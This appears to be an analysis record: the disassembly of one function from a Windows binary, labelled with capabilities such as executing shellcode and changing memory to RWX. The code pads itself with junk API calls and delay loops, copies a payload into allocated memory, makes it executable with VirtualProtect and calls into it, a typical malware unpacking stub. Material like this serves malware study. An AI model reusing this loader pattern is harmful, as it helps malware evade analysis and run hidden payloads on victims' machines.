Function at 0x420e7f
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get file attributes

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc6c
mov eax, dword [0x427004]
xor eax, esp
mov dword [esp + 0xc68], eax
mov eax, dword [0x437024]
push ebx
push esi
xor esi, esi
push edi
xor ecx, ecx
cmp ecx, 0xfe
jne 0x420eb7
mov eax, dword [0x428420]
add eax, 0x9e49
cmp eax, 0xd5d
jne 0x420ecf
or dword [0x429214], 0xffffffff
mov dword [0x429210], 0xec58acac
inc ecx
cmp ecx, 0x12378fe
jl 0x420ea5
mov dword [0x437024], eax
xor ecx, ecx
cmp ecx, 0x55ded1
jne 0x420ef3
mov edx, dword [0x427c58]
mov dword [0x437028], edx
inc ecx
cmp ecx, 0x5ea53c
jl 0x420edf
cmp eax, 0x7c
jne 0x420fab
push esi
lea eax, [esp + 0x474]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
push esi
push esi
call dword [sym.imp.USER32.dll_LoadIconW]
push esi
push esi
call dword [sym.imp.ole32.dll_CoTaskMemRealloc]
push esi
call dword [sym.imp.KERNEL32.dll_LocalCompact]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentConsoleFont]
push 0x2e
lea eax, [esp + 0x44]
push esi
push eax
mov dword [esp + 0x48], esi
call fcn.00404c20
add esp, 0xc
push esi
lea eax, [esp + 0x40]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetDefaultCommConfigA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_RaiseException]
xor ebx, ebx
xor eax, eax
mov word [esp + 0x1c], ax
lea edi, [esp + 0x1e]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosw word es:[edi], ax
lea eax, [esp + 0x74]
push eax
push esi
lea eax, [esp + 0x28]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetDateFormatA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x38]
push eax
lea eax, [esp + 0x34]
push eax
call sub.KERNEL32.dll_GetSystemTimes
cmp ebx, 0x257a0
jg 0x420ffe
inc ebx
cmp ebx, 0xea921
jl 0x420fad
jmp 0x421012
cmp dword [0x437024], 0xa
jne 0x421012
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
cmp dword [0x437024], 0x2a
jne 0x42108a
push esi
push esi
lea eax, [esp + 0x78]
push eax
mov dword [0x436ee8], esi
mov dword [0x436eec], esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
push str.gadenowaxafabodudes
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push esi
call dword [sym.imp.KERNEL32.dll_HeapUnlock]
push esi
push esi
lea eax, [esp + 0x478]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push esi
call fcn.00401305
pop ecx
push esi
call fcn.00401305
pop ecx
push esi
push esi
call fcn.00401015
push esi
push esi
push esi
call fcn.00401281
add esp, 0x14
push esi
push esi
call fcn.00401015
push esi
call fcn.00401517
add esp, 0xc
push dword [0x437024]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0x437024]
xor edi, edi
mov dword [0x436d40], eax
cmp ecx, esi
jbe 0x4210cf
mov edx, dword [0x437028]
mov dl, byte [edx + edi + 0x9e49]
mov byte [eax + edi], dl
cmp ecx, 0x5ab
jne 0x4210ca
mov dword [0x436d44], 0x19b0
inc edi
cmp edi, ecx
jb 0x4210a8
call fcn.00420c96
lea eax, [esp + 0x10]
push eax
push 0x40
push dword [0x437024]
push dword [0x436d40]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00420dcf
xor edi, edi
cmp dword [0x437024], 0x41
jne 0x42110d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
cmp edi, 0xd606b
jne 0x42111a
call fcn.00420c8b
inc edi
cmp edi, 0x24e87d
jl 0x4210f4
mov dword [0x436ef0], 0x8e46a6f0
cmp esi, 0x408e
jle 0x42113f
cmp dword [esp + 0x44], 0xf5bed7
jne 0x421148
inc esi
cmp esi, 0x687ed2
jl 0x42112d
mov ecx, dword [esp + 0xc74]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401006
mov esp, ebp
pop ebp
ret